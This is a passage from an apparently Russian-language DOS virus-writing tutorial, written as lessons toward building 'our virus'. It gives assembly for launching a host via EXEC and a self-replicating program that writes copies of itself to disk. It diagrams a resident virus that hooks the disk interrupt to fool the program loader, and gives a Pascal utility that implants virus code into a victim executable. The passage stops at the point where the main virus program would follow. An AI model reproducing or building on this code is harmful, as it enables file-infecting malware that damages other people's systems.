РЕЗЮМЕ¦ Вот какая последовательность действий необходима для EXEC:
-------
1. Переопределяем стек (пускаем его впритык к нашему
сегменту кода). Если процесс-родитель - СОМ-прогр-ма,
то до нашего вмешательства было так: SP = (SS=PSP)+65535
2. Сокращаем память родительского процесса, чтобы дать
место дочернему (новые владения родительского процесса
должны накрывать перемещенный стек)
3. Сохраняем в сегменте кода SS,ES,SP,DS
4. Сохраняем в сегменте кода DTA
5. Заполняем EPB
6. =====-Даем вызов EXEC-=============
7. Восстанавливаем DTA
8. Восстанавливаем SS,ES,SP,DS
. . . . . . . . . . . . . . . .
9. Завершаем родительск. программу
Вот текст примера (коментарии излишни):
-----------------------------------------------------------¬
¦ пример 12 ¦:
L-----------------------------------------------------------
TITLE Это - COM. программа N12 пример использования функции EXEC
ASSUME CS:CodeSegment
;-------------------------------------------------------------------------
CodeSegment SEGMENT PARA
ORG(100h)
Start:
MainProcedure PROC NEAR
;
;
head: JMP Short initial ;прыжок через данные
;
;
namef DB 'TETRIS.EXE',0 ;ASCIZ -строка - полн. имя файла
; ;
; ;блок параметров EXEC процесса (EPB)¬
exec_EPB DW 0 ; сегментный адрес строки вызова ¦
DW 80h ;-Tуказатель на командн. строку ¦
DW 0 ;-- в PSP PSP:80h ¦
DW 5Ch ;-Tуказатель на блок FCB1 ¦
DW 0 ;-- в PSP PSP:5Ch ¦
DW 6Ch ;-Tуказатель на блок FCB2 ¦
DW 0 ;-- в PSP PSP:6Ch ------------------
;
;
; !(SS = PSP)
initial: MOV AX,OFFSET save_arrea + 200h ;необходимо позаботиться
CLI ; о стеке (он должен быть перемещен
MOV SP,AX ; в охраняемую область, начинающуюся
STI ; следом за кодом процесса-родителя
; ; и не наследуемую дочерним процессом)
;
; ;необходимо дать место дочернему про-
; !(ES = PSP) ; цессу (для этого нужно сжать блок
MOV AH,4Ah ; памяти родителя до граници охраняе-
MOV BX,60h ; мой области (сам родитель+стек+хра-
INT 21h ; нилище SS,ES,SP,DTA); ES - сегмент,
; ; BX-длина (в параграфах) охраняемой
; ; области) здесь мы решили что BX=60h
;
MOV word ptr CS:[save_arrea+0],SS ;необходимо сохранить
MOV word ptr CS:[save_arrea+2],SP ; значения регистров
MOV word ptr CS:[save_arrea+4],ES ; SS,SP,ES,DS в коде
MOV word ptr CS:[save_arrea+6],DS ; родителя
;
MOV CX,20h ;сохранение DTA----¬
MOV SI,80h ; в коде родителя ¦
MOV DI,OFFSET save_arrea + 8 ; ¦
CLD ; DS:SI ---> ES:DI¦
REPE MOVSB ;-------------------
;
;
PUSH CS ;необходимо заполнить блок параметров
POP DS ; запускаемого дочернего процесса
MOV AX,CS ; (указываем сегмент. адрес PSP
MOV exec_EPB+4h,AX ; для родительского
MOV exec_EPB+8h,AX ; процесса)
MOV exec_EPB+0Ch,AX ;
MOV DX,OFFSET namef ;DS:DX адрес ASCIIZ строки имени
MOV BX,OFFSET exec_epb ;ES:BX адрес блока параметров EPB
XOR AL,AL ;код запуска = 0 (EXECUTE)
MOV AH,4Bh ; (еще есть = 3; - это OVERLAY)
INT 21h ;======== EXEC ! ! ! =============
;
;
CLI
MOV SS,word ptr CS:[save_arrea+0] ;восстановление
MOV SP,word ptr CS:[save_arrea+2] ; сохраненных
MOV ES,word ptr CS:[save_arrea+4] ; ранее регистров
MOV DS,word ptr CS:[save_arrea+6]
STI
;
MOV CX,20h ;восстановление DTA¬
MOV DI,80h ; ¦
MOV SI,OFFSET save_arrea + 8 ; ES:DI ---> DS:SI ¦
CLD ; ¦
REPE MOVSB ;-------------------
;
;
MOV AX,4C00h ;выход в DOS (еще
INT 21h ; один способ, опи-
save_arrea: ; ; санный в thelp)
;
MainProcedure ENDP
;
CodeSegment ENDS
END Start
И последнее, чему нам нужно научиться для создания нашего вируса -- соз-
давать на диске файлы и стирать их.
Здесь все достаточно просто:
--Открыть для создания файл -- функция 3Ch прерывания 21h
создание-+ Записать в открытый файл что-то -- функция 40h прерывания 21h
файла L-Закрыть файл -- функция 3Eh прерывания 21h
--
L-Стереть файл -- функция 41h прерывания 21h
Все данные возьмем из thelp:
DOS Fn 3cH: Создать файл через описатель
----------T-------T-----------------------------------
¦ Вход ¦ AH ¦ 3Ch (код функции)
L---------¦ DS:DX ¦ адрес строки ASCIIZ с именем файла
¦ CX ¦ атрибут файла 0-нормальн. 3-hidden и т.д.
----------+-------+-----------------------------------
¦ Выход ¦ AX ¦ код ошибки если CF установлен
L---------¦ ¦ описатель файла если ошибки нет
L-------¦-----------------------------------
DOS Fn 40H: Писать в файл через описатель
----------T-------T-----------------------------------
¦ Вход ¦ AH ¦ 40h (код функции)
L---------¦ BX ¦ описатель файла
¦ DS:DX ¦ адрес буфера, содержащего записываемые данные
¦ CX ¦ число записываемых байт
----------+-------+-----------------------------------
¦ Выход ¦ AX ¦ код ошибки если CF установлен
L---------¦ AL ¦ число реально записан. байт <----- лучший тест для ошибок
L-------¦-----------------------------------
DOS Fn 3eH: Закрыть описатель файла
----------T-------T-----------------------------------
¦ Вход ¦ AH ¦ 3Eh (код функции)
L---------¦ BX ¦ описатель файла
----------+-------+-----------------------------------
¦ Выход ¦ AX ¦ код ошибки если CF установлен
L---------¦-------¦-----------------------------------
DOS Fn 41H: Удалить файл
----------T-------T-----------------------------------
¦ Вход ¦ AH ¦ 41H
L---------¦ DS:DX ¦ адрес строки ASCIIZ с именем файла
----------+-------+-----------------------------------
¦ Выход ¦ AX ¦ код ошибки если CF установлен
L---------¦-------¦-----------------------------------
Ниже показана короткая программа, которая при запуске записывает саму
себя в исполняемый файл. Скомпилируйте ее и запустите. На диске возникнет
файл SELF1.COM. Запустите SELF1.COM. На диске возникнет файл SELF2.COM. За-
пустите SELF2.COM. На диске возникнет файл SELF3.COM. И так далее...
Это не вирус. Но он размножается.
Программа очень проста => без коментариев.
-----------------------------------------------------------¬
¦ пример 13 ¦:
L-----------------------------------------------------------
TITLE Это - COM. программа N13 пример работы с файлами
ASSUME CS:CodeSegment
;-------------------------------------------------------------------------
CodeSegment SEGMENT PARA
ORG(100h)
Start:
MainProcedure PROC NEAR
;
;
my_head: JMP Short initial ;прыжок через данные
;
namef DB 'SELF0.COM',0 ;имя, под которым прог-
; ; рама запишет себя на
; ; диск
; ;
f_number DW 0 ;логич. номер файла
;
;
initial: INC byte ptr CS:[namef+4] ;здесь мы модифицируем
; ; имя, под которым прог-
; ; рама запишет себя на
; ; диск
;
;---открыть файл для записи (уже существовавший файл с таким же-¬
;¦ именем будет при этом уничтожен) ¦
;L---------------------------------------------------------------
MOV DX,OFFSET namef ;DS:[DX] адрес ASCIZ (имя файла)
MOV CX,0 ;атрибут файла (0-нормальн.)
MOV AH,3Ch ;функция "открыть для создания"
INT 21h ;при открытии файлу присвоят номер
MOV CS:[f_number],AX ;сохраним номер файла
;
;---записать в файл что-то из буфера, расположенного по адресу -¬
;¦ ES:DX ¦
;L---------------------------------------------------------------
MOV BX,AX ;занесем номер файла в BX
MOV DX,OFFSET my_head ;ES:[DX] адрес буфера вывода
MOV CX,my_end - my_head ;CX=сколько байт из буфера запишем
; в файл
MOV AH,40h ;функция "записать в файл"
INT 21h ; (в файл будет записан код
; ; самой программы)
;
;---закрыть файл (это тоже необходимо)--------------------------¬
;L---------------------------------------------------------------
MOV BX,CS:[f_number] ;занесем номер файла в BX
MOV AH,3Eh ;функция "закрыть файл"
INT 21h
;
;
RET
my_end: ;
;
MainProcedure ENDP
;
CodeSegment ENDS
END Start
Теперь представим блок-схему комплексного вируса, ради которого мы так
долго мучались:
-----------------------------------------------------------¬
¦ рис.11 ¦:
L-----------------------------------------------------------
-----посадка резидента в MCB-блок----------------¬
L---------------------T---------------------------
¦
-----запись следующего за кодом вируса кода------¬
¦ зараженной программы во вспомогательный ¦
¦ файл на диск ¦
L---------------------T---------------------------
¦
-----запуск этого вспомогательного файла (EXEC)--¬
¦ (посаженный резидент поможет загрузчику ¦
¦ прочитать его как нормальный) ¦
L---------------------T---------------------------
¦
L---------->г=выполняется файл=¬
¦ . . . . . ¦¬
L==================-¦
¦
-----стираем записанный ранее вспомогательн. файл¬<----
L---------------------T---------------------------
--STOP-¬
L-------
Вся эта цепочка действий выполняется ЛИШЬ ОДИН РАЗ -- когда в память са-
жается резидент. После того, как резидент "прописался", он при каждом запуске
зараженного файла помогает ему запуститься как нормальному. Таким образом,
код вируса, не входящий в процедуру обработки прерывания 13h, выполняется
лишь при самом первом запуске зараженного файла, когда резидента еще нет и
некому обмануть программу-загрузчик.
В принципе можно обойтись и без записи вспомогательного файла на диск.
Можно узнать имя самОй работающей в данный момент программы и запустить ее
снова (уже под контролем резидента). Это возможно, если добраться до сегмента
среды для запускаемого файла. Там хранится имя запущенной в данный момент
программы (подробнее -- см. thelp).
Есть некоторая сложность. Чтобы получить самую первую зараженную прог-
рамму, нужно имплантировать вирус в ее заголовок (вирусы V1 и V2 в этом не
нуждались). Вирус, который может быть запущен, как отдельный файл (такими бы-
ли V1 и V2), будем в дальнейшем называть существующим в виде выделенной куль-
туры (по аналогии с биовирусологией). Кстати, если иметь много вирусов в виде
чистых культур, можно написать вирус-носитель, содержащий в себе эти вирусы в
зашифрованном виде и "выпускающий" их время от времени. Имплантацию можно
произвести при помощи программы на языке высокого уровня -- PASCAL-е или С.
Например вот такой:
-----------------------------------------------------------¬
¦ пример 14 ¦:
L-----------------------------------------------------------
{-Программа имплантирует вирус в -¬
¦файл-жертву. Имена жертвы и вируса ¦
¦передается как параметры, например:¦
¦ ¦
¦ Maker.exe virus.com tetris.exe ¦
¦ ¦
¦В заголовке жертвы должно быть ¦
¦достаточно свободного места. ¦
L-------------------------------------}
Program Maker;
Uses Dos;
Var
fr,fw : file of byte;
i : longint;
b : byte;
MN : SearchRec;
Victim,Implant : String;
Begin
Victim := Paramstr(2);
Implant:= Paramstr(1);
Findfirst(Implant,0,MN);
Assign(fr,Implant); Reset(fr);
Assign(fw,Victim); Reset(fw);
read(fr,b); Write(fw,b);
read(fr,b); Write(fw,b);
Seek(fw,$40);
Seek(fr,$40);
Writeln('Size=',MN.size);
for i:=1 to MN.size-$40 do begin
Read(fr,b); Write(fw,b);
end;
Close(fw);
Close(fr);
End.
Структура процедуры обработки прерывания 13h почти такая же, как и в V2.
Нужно лишь учесть, что теперь сегментный адрес резидента -- не адрес PSP по-
садившей его программы, а адрес занятого им MCB-блока.
Ниже приводим текст основной программы.
Пожалуй единственное замечание: вспомогательный файл, в который мы запи-
сываем следующий за кодом вируса код зараженной программы имеет размер EE00h,
т.к. это -- максимальный размер файла, который наш вирус будет заражать.
Далее
|